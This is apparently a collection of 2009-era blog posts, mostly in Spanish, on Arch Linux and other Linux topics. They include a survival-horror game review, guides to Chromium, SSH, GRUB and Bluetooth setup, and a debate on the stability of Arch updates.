Una de las cantaletas que mas escucho sobre Linux es : En Linux no se puede jugar. O variantes de ella, refierendose a que la mayoria de los juegos estan escritos para Windows y si no es por Wine no los puedes correr en tu sistema operativo.

Claro que en Linux se puede jugar “de manera nativa”, y aqui hay un juego que lo comprueba. Penumbra es un juego del genero Survival Horror (de mis favoritos), cuya historia es esta:

Como todas las buenas pesadillas, la de Philip (personaje principal) comienza con un hecho real -la muerte de su madre-, Los dias que siguieron al funeral se caracterizaron por nada en especial, hasta que recibe una carta de un muerto.

El padre de Philip lo abandono de pequeño, llevandose las razones del por que. Ahora el esta aqui, abriendo la puerta desde mas alla de la tumba. Esto deja solo mas preguntas, que conduciran a Philip a Groenlandia, donde seguira las pistas que su padre le djo.

Dejando atras el ultimo rastro de civilizacion, en busca del sitio que su padre menciona en sus notas, Philip se pregunta si habra dejado una parte de su humanidad, aunque este sera el menor de sus miedos.

Una historia interesante, el tipo de juego es un FPS en ambientes inhóspitos, ciertas veces andaras en la oscuridad, y tendras que resolver acertijos y rompecabezas para avanzar en tu camino, ah y claro acabar con las criaturas que saldran de ninguna parte para atacarte.

El juego es multiplataforma (Windows, MacOSX y Linux) y tiene un costo de $20 dolares. Tambien estan disponibles 2 demos para probarlo antes de comprarlo.

Este juego y World of Goo han sido los 2 juegos comerciales que he probado para Linux, y no me han decepcionado, aunque son considerados indies, no tienen nada que envidiarle a juegos de empresas especializadas.

¿Que opinan?

Link de Descarga (Demo) | Penumbra

Como muchos de ustedes saben, Chromium es el proyecto opensource detrás de Chrome. Chromium se actualiza diariamente y se mantiene en un estado muy avanzado en comparación con Chrome.

Hoy les voy a enseñar cómo instalar Chromium en nuestro querido Arch Linux. Antes que nada quiero mencionar que esta guía está sujeta a cambios, por lo cual puede llegar el momento en que no funcione éste método de instalación.

Lo primero que debemos hacer es instalar Yaourt. Si no conoces yaourt, te recomiendo que busques información en el wiki. Si no conocías yaourt, te aseguro que de este momento en adelante lo vas a amar.

Para instalar yaourt, debes añádir el siguiente repositorio en el /etc/pacman.conf:

[archlinuxfr]
Server = http://repo.archlinux.fr/i686

Despues de haber hecho esto, actualizamos e instalamos yaourt con el siguiente comando:

sudo pacman -Sy yaourt

Ya contamos con yaourt instalado. Ahora vamos a instalar Chromium. La herramienta yaourt tiene una especie de búsqueda y la podemos accesar con el siguiente comando:

yaourt -Ss nombredelpaquete

Para buscar que paquetes hay disponible para Chromium, usaríamos el siguiente comando:

yaourt -Ss chromium

Obtendremos una lista de paquetes relacionados ó quizás no relacionados. El punto es que nos vamos a dejar llevar por la descripción del paquete y así vamos a saber cual paquete instalar.

En mi lista aparece el siguiente: chromium-browser-bin y es el que tengo instalado actualmente. Les aconsejo que instalen este paquete, pues se actualiza diariamente, está bastante avanzado y funciona muy bien.

Para instalar corremos el siguiente comando:

yaourt -S chromium-browser-bin

Seguimos las instrucciones y cuando nos pregunte si queremos editar, pulsamos la tecla N, hasta llegar a la pregunta de instalación en el cual apretamos la tecla Y.

Despues de instalado, lo podemos buscar en el menú ó simplemente escribir desde el terminal:

chromium-browser

Si queremos acivar la opción de sincronizar los bookmars, debemos lanzar chromium con el siguiente comando:

chromium-browser --enable-sync

Para finalizar, dirígete Chrome Extensions para que instales algunas extensiones.

Extensiones recomendadas: Adblock+, Adsweep, Facebook Notifications, Gmail Checker, Google Reader Checker, Google Wave Checker.

Arch Linux

written by Ilya Ilembitov

Original article is in the Arch Forum in “Topics going nowhere” section. Obviously Arch mods felt the need to trash this article as this subject is often brought up there and do not end receiving very useful replies. I thought it was a good read and asked “ilembitov“ if I could post his article here. So here is what he said , his exact words:

Hi, all. Reading a lot of Linux forums (not only this one) I can see the major problems of all Arch users: Arch Linux is bleeding edge, but it also has the unpredictable updates. Which is why you can see posts like “I haven’t updated my system in a while, today I ran the update routine, and basically, nothing works”. Which is not to mention less dramatic, but more frequent complaints like “I updated the package foo and I got myself into troubles”. Besides, I believe that the introduction of the LTS kernel is actually a good sign that there are also users who need Arch to be stable.

Ok, I started thinking about what should a user do, so that things like that wouldn’t happen. Here is my short howto.

1. Basically, as soon as you have freshly installed your Arch system and all the desired apps, copy the list of installed packages to the IgnorePkg section of /etc/pacman.conf
This way, when a new package comes out, it won’t be automatically updated.
2. If some package doesn’t work for you as expected (and you know that it’s due to an upstream bug or maintainer’s mistake), delete it from that section and update it until the problem gets solved – then get it back to IgnorePkg
3. You should only make transition to a next major release of anything when it makes sense. Say, the new version of the kernel has a better support for your hardware, or runs faster. Or a program you use gets a new feature and you do need that feature. If there are no changes for you, why bother? But even when you do need to upgrade, do not update the package as soon as it leaves /testing! There is also another reason to upgrade a package – when it’s required (as a dependency) to upgrade a package you need.
4. A package in Arch repos has the upstream version as well as the internal version that comes from maintainers. So, after the package has hit the repos, you better wait until the internal version goes higher: that means, people have bumped into problems with upgrading it (even though it’s not /testing already), maintainers have fixed it, you are less likely to get surprises. Even better if you also wait until some bugfix releases to appear upstream as well.
5. As soon as you make the transition and get to the state when everything goes okay, get the package back to IgnorePkg and work. Until next major update you need! (then roll back to the step 3).

I guess, that sounds reasonable. But why does one have to do that? Here is the thing.

As far as I understand, this is how the major update of the package gets to Arch:
1. It hits the /testing
2. People who actually use testing (and the maintainer, if he has chosen to support this package in the repos because he actually uses it on a regular basis and needs it to work) upgrade, bump into troubles. Troubles from upstream, but also troubles due to a maintainer’s mistake. People write bug reports. It it’s the maintainer’s fault, he fixes that. People try that again, write bug reports, etc.
3. The cycle in number 2. goes on until there are no bug reports for some time. Then the package goes to /extra or /core
4. People who do not use /testing, update to this new version. They bump into troubles, write bug reports and so on and so on.

So basically, it may sound reasonable. But still one actually can’t just upgrade without worry while using the current (non /testing) repos. So, there must be a problem. Which is?..

It’s obvious. Arch is already a bleeding edge distro. So, who is going to use the testing repo of the bleeding edge distro? I’m afraid, not many. A lot less than people who don’t. That means, that there is less probability someone would notice a bug while the package is in /testing. Or, possibly, there could also be no one to do that! So, /testing doesn’t do the job it’s expected to do, or just doesn’t solve the problem completely.

This is why problems happen. My post was caused by a discussion on a Russian Linux-related forum: a user has complained that (among other troubles) after an upgrade to GNOME 2.28 he got issues with Nautilus. And he was asking for an advice, whether or not he should switch to Debian testing. In the neighbor thread Debian Testing users were discussing the following: why the hell didn’t the Debian maintainers update Nautilus to 2.28 in testing while the other GNOME packages were upgraded? I’m sure I don’t need to point out the irony here.

OK, one could get a foil cap and apply my solution to the problem. Which is basically: wait until other users bump into troubles, those will get sorted out – then you make an upgrade. This is time-consuming, but also more flexible. Perhaps, this is the part of the Arch way. Like, Slackware users don’t want somebody else to define dependencies for them, so Arch users don’t want somebody to do Q&A for them, thus restricting their freedom.

So, we don’t need to change anything and everybody just gets along? Not really. Let’s just imagine everybody applies my approach. And it’s pretty reasonable, isn’t it? If you aren’t getting any benefit from an upgrade – why bother? If you do need to upgrade – why risk, those who feel like experimenting or just aren’t wise enough will do the dirty job. The point is, that when everybody applies this approach, there are no “risk takers” or “unreasonable ones”. And this is where the whole thing gets stuck. OK, actually I don’t really believe all Archers are going to do that. But I guess this is a good illustration why current model isn’t perfect.

There is a reason why it works in Debian unstable->testing chain (which basically lives like a rolling release system when there is a lot of time until the next stable Debian release). Because Debian userbase is large. There are lots of people who use testing and sid. There are other distros that are based on testing and sid (not to mention Ubuntu – there is also Sidux, for example). Arch just doesn’t have that. And so, it doesn’t work out for him.

My point is not about switching to traditional release cycle (I don’t think anyone would seriously consider it). Arch is partially fine because it doesn’t have releases. But there is also another thing. Arch has lots of things other distros don’t have. Pacman, ABS, AUR, configuration being done via the /etc/rc.conf, etc. What if a user wants to have all these and not have troubles with upgrades? Does he have to stick with the paranoid IgnorePkg approach to get a stable and predictable system?

Of course, we can’t just develop a universal solution against maintainers’ mistakes or upstream bugs. People do mistakes (I really didn’t mean to offend the maintainers here), and apps can’t be bug-free. But we should develop a system to detect those issues before they get to the end user machine. Perhaps, we should track the statistics of previous troubles caused by the package and consider it to define the time the package should spend in /testing after the last solved bug report before it gets out if no show-stoppers occur. Okay, may be that will do Arch less bleeding edge, but it will also cause more people to try installing versions from testing (and, consequently, lessen the time needed for it to get to /extra or /core). Perhaps, the package should also automatically roll back to the previous stable version if the recent upgrade was reported to have a serious issue (with the upgrade getting back to /testing). There is /var/cache for that, but this still could make upgrades more reliable.

Sorry for this pretty wordy article. But I do believe that the issue is pretty important. Perhaps, I don’t have the right picture (for example, may be the testing repo is more complicated than that). I would like those heroes who managed to get through this sea of words  to share some ideas.

And Arch Mods and Users then emphasized on the fact how important it is for Arch being a community driven distro to depend on it’s users to run the [testing] repository and file bug reports. My question: Who gets to enjoy the stable product then? Clearly, Arch is not about stability. Bleeding edge and stability can never go hand in hand. Atleast Arch devs are not hiding this fact and stating it bluntly, but yes there are some people who go to other forums *cough ubuntuforum cough* and whine about Arch being unstable and it broke their system.

B [Arch forum Mod] wrote:

I like how users feel like a victim when this thing (a community-driven distro) only thrives when both users and devs alike provide input and feedback. And most Arch users only complain ‘OMFG ITS BORKEN’ when it actually breaks, but never a) run testing or b) report bugs. Maybe you’ll see them saying ‘oooh distro X has shiny  new feature Y. When is it in Arch!?88′.

Then what do you expect?

Even Ubuntu users seem to be more active on that front. Seriously. Also, if you can’t fix what breaks during upgrades, then Arch is not for you. Period. Either you got what it takes or you don’t. I see a *lot* of people here that seem to be running Arch for a while yet don’t have a clue of the very basics. There are distros that cater to that kind of public.

Later part of ilembitov’s reply:

Actually many people here have probably gotten the wrong idea of why I described the IgnorePkg approach. It’s all about rethorics – I guess that it’s good that many people have found this technique bad in some way. Basically, I believe, this was the ultimate summary of all advices that people give somebody when he says that Arch is too unstable for him, yet he likes being bleeding edge. In such discussions people usually either mention the /var/cache/ approach for rolling back or the IgnorePkg thing (which are actually equivalent). I have just thought of an ultimate solution on this basis. It just takes the whole thing to an extreme. And actually, such a solution roughly imitates what maintainers in larger, non-rolling distros do: this is pretty much the way Debian (or Ubuntu) people make their stable release (or stable + backports repo, for that matter). And my point was to (while still taking things to an extreme) show why this thing is by design wrong – the same way all actually popular approaches taking the similar direction are wrong. And certainly I did not recommend this HowTo. I believe this solution to actually solve the problem of one user completely yet creating a lot more problems in the long run for Arch Linux. Moreover, I have tried hard to show that currently, a rolling release-based distro pretty much involves techniques that are common in different projects – and thus, inappropriate.

So my point was – we should redesign the process (and this is why I wanted to provoke a brainstorm sort of thing). People who started protecting maintainers have a clear misconcept of what I was talking about. I did not intend to blame the maintainers. That’s unethical and anyways, it doesn’t relate to the topic. I believe that, ArchLinux, being a non-mainstream distro will always have less maintainers and less users (thus, less bug reports) than needed. The thing is, how to redesign the process so that the lack of resources will be less noticeable. Design the fail-proof mechanisms in the process when things have already gotten nasty – and design the mechanisms and procedures so that things will be less nasty. That may involve encouraging the use of /testing (I was actually surprised by somebody mentioning that basically it’s a bad idea to use /testing only partially. I always thought I would be fine to install an app from testing provided I have satisfied all the dependencies with required versions. And this is also a problem.) That may involve redefining the policy that the maintainers should follow when the packages that got out of /testing have revealed show-stoppers. This is what I was talking about.

Oh, and more thing. People who believe that Arch is okay to have these kind of issues and that users should be ready to deal with them or just leave – they actually mistake an advanced user-oriented product for low-quality and poorly-designed product. It’s about enjoying the flexibility and other virtues of Arch and not enjoying its flaws because you are proud you “have survived”. After all, software, even being fun, still has one major point – it should work.

All I gotta say is that, brace yourself for any package breakage and system instability if you use Arch and don’t complain about it. Don’t feel like a victim, you have been warned! It’s not a bug, it’s a feature.

I received an email yesterday from a member at LQ forum. I won’t reveal his name/email ofcourse, but he asked me which one to choose, Arch or Gentoo?

Here’s the email:

> I can see that you use both.
>
> I’ve been reading the Gentoo docs for some time now. I’m just garnering the
>  pluck to install it. I’m sure it will be a blast. On the other hand, I’ve
>  started reading about Arch. It looks so cool.
>
> I’m not posting an open question on the forums to avoid flame wars.
> I’ll probably try both. I just would like to know what your feelings are
>  when comparing these two distros head to head.
>
> Cheers

This was my reply:

Hi,

It’s probably better to ask your question in the forum for more exposure. Just
word it in a better way, like “Which one should I use “Arch or Gentoo?” instead
of “Arch vs Gentoo”.
However, I will give you my opinion.
I use gentoo for my server. I used it for my desktop for a while but compiling
things gets a bit annoying and time-consuming after sometime.
I use Arch with windows XP and openSUSE 11.2 for my desktop and openSUSE in my laptop. [for the eye-candy ;P ]
Arch is simple. Binary installation. Although you can compile from source
stuffs that you need using ABS, but it’s not compulsory/necessary.
Advantages of gentoo over Arch? None at all. Optimization of packages by
compiling them locally in your machine for performance boost isn’t that noticeable, I have observed it myself. But obviously, gentoo users will disagree.
Even if you get the slightest benefit by comping from source, ask yourself
this question: Is it worth compiling the whole system, which can break anytime if you’re careless, to gain that slight optimization? And if it breaks, another 2-3days of compiling and customizing? Not to mention on
updates you have to recompile installed packages to newer versions. Then there are gcc upgrades which will require you to recompile the entire system
toolchain and then all the packages. My opinion: So not worth it.
Go with Arch if you want a distro which is simple, fast and easy to
use/maintain.

Regards

If you disagree with my opinion, feel free to comment. Maybe there’s some advantages of a source-based distro I am unaware of.

Durante este tiempo que he hecho esta serie de post me he dado cuenta de 2 cosas, las aplicaciones son tan funcionales como las de GUI y que la mayoria de los que comentan usan Vim , asi que hoy les traigo esta util aplicacion.

Vifm o vi file manager, es un explorador de archivos basado en ncurses, que se maneja a traves del teclado y comandos que recuerdan a Vi, la interfaz es de 2 paneles o si solo queremos uno ejecutamos la orden nly y para regresar a la vista predeterminada :split. Otros comandos utiles en este programa son la busqueda de archivos (/expresion de busqueda), colocar marcadores a las carpetas para su pronta navegacion(m[0-9][a-z][A-Z] y los podemos ver con :marks), ejecutar archivos, usar sesiones de screen, y claro que no puede faltar la edicion de texto con Vim.

Vifm solo depende de Python y puede encontrarse en la mayoria de las distribuciones. En Ubuntu se encuentra en los repositorios universe y en Arch Linux en AUR.

Espero que les sirva esta aplicacion.

Mata ne!

Oh no, ¡division por cero!!

Dejando a un lado el chiste, SpeedCrunch es una aplicacion que actua como una calculadora pero mas sencilla y poderosa, al ir escribiendo los datos, por ejemplo, nos muestra las respuesta en un tooltip, y tambien cuenta con autocompletado de constantes, asi como resaltado para diferencias diversas funciones. Otras caracteristicas presentes es la posibilidad de mostrar 50 decimales en pantalla, tener historial y guardarlo cada sesion y poder manejarlo a traves del teclado.

SpeedCrunch es un proyecto libre y multiplataforma con interfaz Qt (perfecto para KDE), que recientemente ha publicado la version 0.11 alpha del proyecto, que contiene muchas mejoras y bugs resueltos (por aqui la lista completa).

Para Arch Linux, la nueva version se encuentra en AUR.

Para otras distribuciones, se descarga el tar.gz, solo necesita tener Qt para poder instalarlo.

Espero que les sirva.

Arch Linux

KDE 4.3.3

Widget Style: QtCurve

Íconos: Kycons

Borde de Ventanas: Aurorae

Tema Aurorae: UniQ

Plasmoides: PlayWolf, Daisy

]]> http://jfibergran.wordpress.com/2009/11/09/ejecutar-aplicaciones-graficas-con-ssh/ Mon, 09 Nov 2009 11:41:14 +0000 FiBER http://jfibergran.wordpress.com/2009/11/09/ejecutar-aplicaciones-graficas-con-ssh/

Para poder seguir esta guía, es necesario que tengas instalado y configurado tu servidor Ssh.

Para ejecutar aplicaciones gráficas a través de conexiones ssh,  hay que habilitar X11 Forwarding. Esta opción hay que habilitarla tanto en el Servidor como en el Cliente.

Además en el Servidor tenemos que instalar xorg-xauth:

pacman -S xorg-xauth

Una vez instalado modificamos el archivo sshd_config

nano /etc/ssh/sshd_config

añadiendo las siguientes líneas:

AllowTcpForwarding yes
X11Forwarding yes
X11DisplayOffset 10
X11UseLocalhost yes

En el Cliente también tenemos que editar el archivo de configuración:

nano /etc/ssh/ssh_config

Y por último, para poder ejecutar aplicaciones x11 remotamente, debemos iniciar la sesión ssh con la siguiente orden:

ssh -X -p port user@server-address

Si recibes errores durante la ejecución de aplicaciones, prueba con esta otra orden:

ssh -Y -p port user@server-address

Ahora puedes ejecutar cualquier aplicación gráfica de forma remota gracias a SSH.

Introducción

En todos los discos duros, se reserva un espacio para el MBR (Master Boot Record) o Sector de Arranque. Esta es la estructura básica, sobre el espacio restante se hacen las particiones, y en ellas se puede o no instalar un SO (Sistema Operativo).

Cada SO tiene su gestor de arranque, así que cuando instalamos un SO, en el proceso de instalación se modifica el MBR del disco para que pueda arrancar el SO que hay instalado en la partición x.

En el caso de Windows, ese sector de arranque, solo permite arrancar Windows, sin embargo Linux, utiliza gestores de arranque que permiten arrancar otros SO’s instalados en el disco, gestores de arranque como LiLo o Grub.

Funcionamiento de Grub

Como grub es un cargador de arranque, veremos que pasa desde que encendemos el ordenador:

1. Primero la BIOS, enlaza a un dispositivo de arranque, como el HDD o CD-ROM, en el caso de HDD, se le pasa el control al MBR del Disco.
2. En el MBR se encuentra la Fase 1 del GRUB, ya que el MBR solo tiene 512 bytes de espacio. La fase 1 carga la siguiente fase del GRUB, que puede encontrarse en cualquier parte del disco duro.
3. De la fase 1 se puede pasar a la 1.5 o a la fase 2, de todos modos la 1.5 pasa a la 2, así que obviaremos detalles en esto.
4. La fase 2, que es la que contiene el menú, lo muestra, y una vez el usuario elige la opción, Grub carga el kernel elegido

De modo que Grub se instala en dos partes, primero en el MBR como ya hemos dicho, y después en el disco, bien en una partición /boot o bien en la partición / de la distribución linux principal.

En cualquier caso Grub, una vez instalado se encuentra en /boot , y ahí tiene su archivo de configuración, donde podemos configurar las opciones de arranque.

Como arranca Linux

Para arrancar un SO Linux los pasos son los siguientes:

1. Decirle a Grub la partición en la que se encuentra instalado el SO Linux
2. Iniciar el kernel

Un ejemplo de como cargar un SO Linux, sería el siguiente:

root (hd0,1)
kernel /vmlinuz root=/dev/hda2 ro

Como arranca Windows

Para arrancar un SO Windows seguimos estos pasos:

1. Decirle a Grub la partición en la que se encuentra instalado
2. Hacer la partición Activa
3. Llamara al cargador de arranque Windows

El ejemplo de como cargar un SO Windows, es este:

root (hd0,0)
makeactive
chainloader +1

menu.lst

El archivo de configuración para Grub es el menu.lst, que se encuentra en /boot/grub/.

En este archivo debemos de poner las entradas del menú de Grub, con sus opciones de arranque correspondiente, además de algunos valores generales.

Los Discos Duros se enumeran desde 0, y las particiones también se enumeran desde 0. Así por ejemplo para la primera partición del primer disco escribiríamos (hd0,0)

Ejemplo de /boot/grub/menu.lst:

# Configuration General
timeout   5
default   1
color light-blue/black light-cyan/blue

# Entradas del menú
# (0) Arch Linux
title  Arch Linux
root   (hd0,1)
kernel /boot/vmlinuz26 root=/dev/sda2 ro vga=773
initrd /boot/kernel26.img

# (1) Windows XP
title Windows XP
rootnoverify (hd0,0)
makeactive
chainloader +1

grub.cfg

El archivo de configuración para Grub2 es el grub.cfg, que se encuentra en /boot/grub/ .

En el archivo debemos de poner las entradas del menú de Grub2, con sus opciones de arranque correspondientes, además de algunos valores generales.

Los Discos Duros se enumeran desde 0, sin embargo lasparticiones se enumeran desde 1. Así por ejemplo para la primera partición del primer disco escribiríamos (hd0,1)

Ejemplo de /boot/grub/gurb.cfg:

# Configuration General
set timeout=5
set default=0

# (0) Arch Linux
menuentry "Arch Linux" {
set root=(hd0,2)
linux /vmlinuz26 root=/dev/sda2 ro
initrd /kernel26.img
}

# (1) Windows
menuentry "Windows" {
set root=(hd0,1)
chainloader +1
}

Solución a problemas básicos con Grub

Como restaurar Grub

A veces no es posible prescindir de Windows, bien por los juegos o por trabajo, pero no todo se puede hacer en Linux. Pero en Windows es necesario un formateo cada cierto tiempo. Al formatear Windows, el MBR se reescribe para este, perdiendo Grub en 99% de los casos.

La solución es reinstalar grub, para lo que tendremos que arrancar desde alguna distribución live:

• PartedMagic: Es una distribución Live, ideada para trabajar con particiones.
• GParted Live: Es otra distribución Live, ideada para trabajar con particiones.
• Arch Linux: Es el CD de Instalación de Arch Linux, pero arranca una consola desde la que podemos trabajar igual.
• Debian: Igual que Arch, es el CD de Instalación de Debian, arranca una consola desde la que podemos reinstalar grub.

Además prácticamente podemos reinstalar grub desde cualquier CD Linux. Veamos como reinstalar el Grub.

Ejecutamos el interprete de comandos de grub:

grub

Indicamos la localización de la partición donde se encuentra Grub:

root (hdX,Y)

Instalamos grub en el MBR del Disco.

setup (hdX)

Salimos y reiniciamos, ya está grub reinstalado.

quit

Grub no muestra el menú sino su consola

Este error puede darse tanto en Grub como en Grub 2. Suele darse cuando las ordenes escritas en el menu.lst o en el grub.cfg no son correctas. En particular cuando no hemos escrito correctamente el número de disco o partición.

En lugar del menú, aparece el mensaje de debajo.

GNU GRUB version 0.97 (640K lower / 3072K upper memory)

[Minimal BASH-like line editing is supported. For the first
word, TAB list possible command completions. Anywhere else TAB lists
the possible completitions of a device/filename. ]

grub>

La respuesta es clara, primero pulsamos TAB, así vemos los posibles comandos a ejecutar. Entre ellos se encuentra cat, con lo que es fácil ver el archivo menu.lst o grub.cfg.

cat /boot/grub/menu.lst
cat /boot/grub/grub.cfg

Con esto podemos ver las ordenes necesarias para el arranque,  que en el caso de Linux son root y kernel . En realidad este paso no es necesario si sabes lo que hay que poner. El cat es solo para orientarse/recordar comandos.

Una vez vistos basta con escribir los comandos y arrancar el SO Linux, y una vez hecho lo primero es modificar el archivo de configuración, para no volver a obtener este error.

Errores numerados

Además de estos hay otros errores numerados, aunque la solución a veces es parecida a estos dos anteriores, siempre viene bien saber el motivo del error.

Aquí la lista de errores.

El arranque de Grub se divide en dos etapas, Stage 1 y Stage 2 cada una de ellas tiene sus mensajes de error. Listaremos los errores en función de la etapa en la que aparecen:

Stage 1

En esta etapa tan solo se muestra el error y se detiene el sistema:

• Hard Disk Error: No se puede averiguar la geometría ni el tamaño del disco.
• Floppy Error: El error es el mismo que el anterior, pero se refiere a un Diskette.
• Read Error: Error de lectura al intentar pasar a la segunda etapa (stage 2).
• Geom Error: La ubicación en disco del Stage 2 no es accesible mediante llamadas BIOS. Este error suele deberse a modificaciones en la configuración del disco, ya sea modificar la tabla de particiones o cmabiar el disco de máquina.

Stage 2

1. Filename must be either an absolute filename or blocklist: El fichero solicitado por grub, no cumple la sintaxis exigida.
2. Bad file or directory type: El fichero solicitado por grub, no es un archivo regular sino un enlace simbólico, directorio o pipe (tubería).
3. Bad or corrupt data while decompressing file: Este error aparece cuando la descompresión devuelve un error. Suele tratarse de un fichero dañado.
4. Bad or incompatible header in compressed file: La cabecera de un fichero comprimido es incorrecta.
5. Partition table invalid or corrupt: Este error aparece cuando la verificación de la tabla de particiones falla. A este error hay que temerle.
6. Mismatched or corrupt version of stage1/stage2: Este error se debe a versiones incompatibles o dañadas de stage1 o stage2.
7. Loading below 1MB is not supported: Aparece cuando la dirección más baja de un núcleo está por debajo de la cota de 1MB. El formato zImage de Linux es un caso especial, se puede manejar ya que su dirección de carga es fija y tiene un tamaño máximo.
8. Kernel must be loaded before booting: Si le indicamos a grub que ejecute una secuencia de arranque sin haberle indicado un núcleo antes, aparece este error.
9. Unknown boot failure: Razones desconocidas.
10. Unsupported Multiboot features requested: A veces las características Multiboot requieren una característica que no se reconoce. El kernel requiere una gestión especial que Grub no tiene.
11. Unrecognized device string: Se espera un nombre de dispositivo y el texto encontrado no cumple las reglas de nombres de dispositivos.
12. Invalid device requested: El nombre de dispositivo es válido pero tiene un error en otro sitio.
13. Invalid or unsupported executable format: La imagen del núcleo no se reconoce como multiboot o alguno de los formatos reconocidos.
14. Filesystem compatibility error, cannot read whole file: Algún Sistema de Archivos de los que tiene que leer Grub, tiene una limitación en el tamaño de lectura. Se corrige eliminando dicho límite.
15. File not found: No se encuentra el archivo solicitado, pero la ruta es correcta.
16. Inconsistent filesystem structure: Error en la estructura del sistema de archivos. Suele deberse a un Sistema de Archivos dañado
17. Cannot mount selected partition: La partición existe, pero Grub no la reconoce.
18. Selected cylinder exceeds maximum supported by BIOS: La lectura intenta ir más allá del área direccionada por la BIOS. El error aparece cuando se intentan leer bloques lineales. Suele aparecer en discos IDE de gran tamaño.
19. Linux kernel must be loaded before initrd: El error se debe a que hemos puesto initrd antes que kernel.
20. Multiboot kernel must be loaded before modules: El error se debe a que hemos cargado módulos antes de cargar un núcleo Multiboot.
21. Selected disk does not exist: El disco refereido no está presente o no se reconoce por la BIOS.
22. No such partition: No existe la partición específica.
23. Error while parsing number: Grub espera leer un número y encuentra datos incorrectos.
24. Attempt to access block outside partition: La dirección lineal del bloque está fuera de la partición. Se debe a daños en el sistema de Archivos o a algún bug detectado por Grub.
25. Disk read error: Se ha producido un error de lectura en el disco.
26. Too many symbolic links: Demasiados enlaces simbólicos. El máximo son 5. Puede ser que los enlaces tengan un bucle.
27. Unrecognized command: Cuando introducimos un nombre de orden no reconocido por Grub. Puede tratarse de un error al escribir.
28. Selected item cannot fit into memory: Aparece cuando tratamos de cargar en memoria algo que no cabe.
29. Disk write error: Este error se produce cuando grub intenta escribir en disco. Esto solo puede ocurrir durante la instalación o con la orden makeactive.
30. Invalid argument: Algún argumento de alguna orden es incorrecto.
31. File is not sector aligned: Cuando se accede a una partición ReiserFS. Se debe montar la partición con la opción ‘notail’.
32. Must be authenticated: Se trata de acceder a un arranque protegido por contraseña. Hay que introducir una contraseña válida.
33. Serial device not configured: Se intenta cmabiar el terminal a uno serie, pero no se ha activado ningún dispositivo serie.
34. No spare sectors on the disk: Cuando no queda espacio libre. Si se intenta entrar en los sectores no usados tras el MBR, pero la partición primera empieza justo después del MBR.

So I wanted to install Ubuntu 9.10 and see how it “fails to” perform on my hard disk [as previously I tested he RCs in vbox within Arch]. Ubuntu boots up quite slow. At first a white ubuntu orb like logo appears and then the xsplash kicks in and after a while login screen comes and then it takes you to your desktop. However, the shutdown and reboot are way faster than any others’ I have seen. Just click and bam you are out of ubuntu. Anyway, I had Arch and Windows pre-installed on my hard disk and I just wanted to install ubuntu in a spare partition I had. Here is the partitioning scheme:

df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda3              28G   19G  8.1G  70% /            <—–Arch’s Root
none                 1005M  140K 1004M   1% /dev
none                 1005M     0 1005M   0% /dev/shm
/dev/sda5             7.4G  3.1G  4.0G  44% /pkg
/dev/sda1             9.4G  5.9G  3.5G  64% /windows
/dev/sda2             9.2G  3.2G  5.6G  37% /ubuntu
/dev/sda6   swap        <——– Common swap of 2Gb for both Arch and ubuntu

So I burnt the Ubuntu 9.10 amd64 [64bit version] ISO in a DVD-RW and boot my pc from it. When the partition option comes be careful not to select anything other than the partition you want to select ubuntu on and the swap will auto-detected. Now after entering the details and everything the final overview of the installation process will appear. Click on “Advanced” tab below and deselect “install grub” option. That’s right make sure that Ubuntu doesn’t install it’s grub on your hard disk. It’s useless. I find Arch’s Grub2 much more customizable, easy to apply custom backgrounds and icons,etc. So let ubuntu install without letting it install grub anywhere. Now after all’s done reboot your computer and go to Arch. Modify the /boot/grub/grub.cfg

Here is my modified grub menu:

####################
###BEGIN MENU###

set timeout=60
set default=”0″
set fallback=”1″

# Entry 0 – Arch Linux
menuentry “Arch Linux” –class “arch” {
set root=(hd0,3)
linux /boot/vmlinuz26 root=/dev/sda3 ro quiet splash vga=792
initrd /boot/kernel26.img
}

# Entry 1 – Arch Linux (Fallback)
menuentry “Arch Linux Fallback” –class “arch” {
set root=(hd0,3)
linux /boot/vmlinuz26 root=/dev/sda3 ro 3
initrd /boot/kernel26-fallback.img
}

# Entry 2 – Ubuntu Linux
menuentry “Ubuntu” –class “ubuntu” {
set root=(hd0,2)
linux /boot/vmlinuz-2.6.31-14-generic root=/dev/sda2 ro  quiet splash vga792
initrd  /boot/initrd.img-2.6.31-14-generic
}

## Entry 3 – Windows XP
menuentry “Windows XP” –class “windows” {
set root=(hd0,1)
chainloader +1
}

####  END MENU  ####
####################

I chose to display my full menu block so that you get an idea of what’s going on and accordingly fix your grub. My ubuntu is on /dev/sda2 so you should modify yours according to where you installed ubuntu.

That’s it, reboot and select ubuntu from the menu list.

Cualquier distribución linux se basa en un terminal, aprovechando esto podemos tener la consola de nuestro equipo en cualquier parte usando ssh.

Ssh es una shell segura, es algo parecido a telnet, pero encriptado. Tan solo necesitamos instalar el servidor en nuestro ordenador y un cliente en cualquier otro equipo. Así que veremos este tutorial en dos partes Servidor y Cliente.

SERVIDOR:

pacman -S openssh

Después modificamos el archivo de configuración del demonio ssh, sshd_config:

nano /etc/ssh/sshd_config

Por defecto el fichero tiene gran cantidad de opciones comentadas. Yo lo borré todo y dejé solo esto:

Port 22
ListenAddress 0.0.0.0
Protocol 2
LoginGraceTime 120
PermitRootLogin no
AllowUsers <usuario1> <usuario2>

Ya podemos iniciar el demonio:

/etc/rc.d/sshd restart

O podemos añadirlo al rc.conf para que se inicie al arrancar el sistema.

nano /etc/rc.conf

Y añadimos el ssh a la lista de demonios:

DAEMONS=(… ssh …)

Así permitimos acceso desde cualquier sitio a la ip de nuestro ordenador. Sin embargo, si tu IP es dinámica, es recomendable usar no-ip para conectarte.

Si además tienes más de un equipo en tu red y bajo la misma IP, puedes configurar tu router añadiendo tu ip en la red local a la opción DMZ Host de tu router.

CLIENTE:

Para conectarnos al servidor podemos usar ssh desde la consola. Es necesario que tengamos instalado el paquete ssh:

pacman -S openssh

La orden para poder conectarnos sería la siguiente:

ssh fib@192.168.1.4
ssh fib@direccion.no-ip.com

Donde fib es el usuario y lo que aparece después de la @ es la dirección del host.

Para cualquier situación, también podemos usar putty, que es un cliente ssh gratuito y multiplataforma. Descárgalo desde su página oficial.

Primero instalamos el paquete bluetooth:

pacman -S bluez

Una vez hecho esto reiniciamos los servicios dbus y bluetooth:

/etc/rc.d/dbus restart
/etc/rc.d/bluetooth restart

Añadimos bluetooth al rc.conf

DAEMONS=(… bluetooth )

Para saber si se ha detectado correctamente el bluetooth,  podemos hacerlo con:

Por último para usar la herramienta KDE para bluetooth:

pacman -S kbluetooth

